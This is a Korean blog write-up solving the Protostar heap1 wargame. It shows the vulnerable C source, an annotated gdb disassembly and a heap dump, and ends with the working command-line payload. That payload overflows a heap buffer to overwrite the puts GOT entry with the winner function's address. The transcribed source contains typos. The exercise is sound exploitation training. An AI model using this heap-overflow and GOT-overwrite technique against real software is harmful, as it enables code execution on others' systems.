#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys.types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printff("and we have a winner @ %d \n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1 -> priority = 1;
i1 -> name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2 -> priority = 2;
i2 -> name = malloc(8);
strcpy(i1 -> name, argv[1]);
strcpy(i2 -> name, argv[2]);
printf("and that's a wrap forlks! \n");
}
https://blog.naver.com/seongjin0526/221339631441
(gdb) disas main
Dump of assembler code for function main:
0x080484b9 <main+0>: push %ebp
0x080484ba <main+1>: mov %esp,%ebp
0x080484bc <main+3>: and $0xfffffff0,%esp
0x080484bf <main+6>: sub $0x20,%esp
0x080484c2 <main+9>: movl $0x8,(%esp)
0x080484c9 <main+16>: call 0x80483bc <malloc@plt>
0x080484ce <main+21>: mov %eax,0x14(%esp) // esp+0x14 = 할당 1
0x080484d2 <main+25>: mov 0x14(%esp),%eax
0x080484d6 <main+29>: movl $0x1,(%eax) // 할당 1 = 1
0x080484dc <main+35>: movl $0x8,(%esp)
0x080484e3 <main+42>: call 0x80483bc <malloc@plt>
0x080484e8 <main+47>: mov %eax,%edx // edx = 할당 2
0x080484ea <main+49>: mov 0x14(%esp),%eax
0x080484ee <main+53>: mov %edx,0x4(%eax) // (esp+0x14)+4 = 할당 2
0x080484f1 <main+56>: movl $0x8,(%esp)
0x080484f8 <main+63>: call 0x80483bc <malloc@plt>
0x080484fd <main+68>: mov %eax,0x18(%esp) // esp+0x18 = 할당 3
0x08048501 <main+72>: mov 0x18(%esp),%eax
0x08048505 <main+76>: movl $0x2,(%eax) // 할당 3 = 2
0x0804850b <main+82>: movl $0x8,(%esp)
0x08048512 <main+89>: call 0x80483bc <malloc@plt>
0x08048517 <main+94>: mov %eax,%edx
0x08048519 <main+96>: mov 0x18(%esp),%eax
0x0804851d <main+100>: mov %edx,0x4(%eax) // (esp+0x18)+4 = 할당 4
// 할당1(1, 할당2) | 할당3(2, 할당4) => 할당 1안에 할당2가 존재, 할당 3안에 할당4가 존재 약간 리스트 같이 구조체안에 영역이 있는 것 같은 형식이다.
// 할당 1이 8바이트이고 할당 1+4에 또 8바이트인데다 할당 1+0가 1이 들어가니
// 할당 1은 구조체이고 구조체 구조는
// int(or long) , *pointer 이렇게 두개의 변수로 구성된것을 알 수 있다.
0x08048520 <main+103>: mov 0xc(%ebp),%eax // argv0
0x08048523 <main+106>: add $0x4,%eax // argv1
0x08048526 <main+109>: mov (%eax),%eax
0x08048528 <main+111>: mov %eax,%edx //
0x0804852a <main+113>: mov 0x14(%esp),%eax // 할당 1 불러옴
0x0804852e <main+117>: mov 0x4(%eax),%eax // (할당 1)+4 불러옴
0x08048531 <main+120>: mov %edx,0x4(%esp) //
0x08048535 <main+124>: mov %eax,(%esp) // argv1
0x08048538 <main+127>: call 0x804838c <strcpy@plt>
// argv1의 값을 (할당 1)+4에 복사한다.
0x0804853d <main+132>: mov 0xc(%ebp),%eax
0x08048540 <main+135>: add $0x8,%eax // argv2
0x08048543 <main+138>: mov (%eax),%eax
0x08048545 <main+140>: mov %eax,%edx
0x08048547 <main+142>: mov 0x18(%esp),%eax // 할당 3 불러옴
0x0804854b <main+146>: mov 0x4(%eax),%eax // (할당 3)+4 부분 불러옴
0x0804854e <main+149>: mov %edx,0x4(%esp) //
0x08048552 <main+153>: mov %eax,(%esp) // argv2
0x08048555 <main+156>: call 0x804838c <strcpy@plt>
// argv2의 값을 (할당2)+4에 복사한다.
// => argv1의 값을 복사할때 overflow를 일으켜서 (할당3)의 영역에서 +4의 주소를 변경시킬 수 있다면
// 두번째 strcpy를 통해서 원하는 지점의 값을 argv2를 통해 변조할 수 있게 된다.
// (할당3)+4의 주소를 stack의 ret으로 변조하여 ret의 값을 winner 함수로 변경시켜 함수 종료시 winner 함수를 호출하는 방법과
// (할당3)+4의 주소를 puts의 GOT로 변조하여 GOT를 winner 함수로 변경시키는 GOT Overwrite 방법이 있다.
// 필자는 후자의 방법으로 진행한다. (소스코드에는 printf로 되어있는데 왜 asm에는 puts지....)
0x0804855a <main+161>: movl $0x804864b,(%esp) //
0x08048561 <main+168>: call 0x80483cc <puts@plt> // GOT Overwrite를 통해 winner 함수를 호출할 수 있는 이유임.
// strcpy를 통해 덮어쓰여진 후 호출되기 때문.
0x08048566 <main+173>: leave
0x08048567 <main+174>: ret
End of assembler dump.
(gdb) disas winner
Dump of assembler code for function winner:
0x08048494 <winner+0>: push %ebp
0x08048495 <winner+1>: mov %esp,%ebp
0x08048497 <winner+3>: sub $0x18,%esp
0x0804849a <winner+6>: movl $0x0,(%esp)
0x080484a1 <winner+13>: call 0x80483ac <time@plt>
0x080484a6 <winner+18>: mov $0x8048630,%edx
0x080484ab <winner+23>: mov %eax,0x4(%esp)
0x080484af <winner+27>: mov %edx,(%esp)
0x080484b2 <winner+30>: call 0x804839c <printf@plt>
0x080484b7 <winner+35>: leave
0x080484b8 <winner+36>: ret
End of assembler dump.
Start Addr 0x804a000 => heap
r AAAA BBBB 로 수정하여 위치 재확인
0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018 <= ABCD를 가리킴
0x804a010: 0x00000000 0x00000011 0x44434241 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038 <= (할당 2)+4의 주소
// (할당 2)+4를 puts@GOT로 덮으면 되는데 ABCD에서 20byte 떨어져있으므로 "A"*20+puts@GOT 를 argv1로 주면 될듯
// argv2는 winner 주소로 넣으면 puts@GOT를 winner로 덮어씌울 수 있음.
/heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c 'print "\x94\x84\x04\x08"'
puts@GOT + winner (0x08048494)
'시스템' 카테고리의 다른 글
protostar net3 (0) | 2025.01.31 |
---|---|
protostar net1 (0) | 2025.01.31 |
protostar net0 (0) | 2025.01.30 |
protostar heap1 (0) | 2025.01.30 |
protostar heap0 (0) | 2025.01.30 |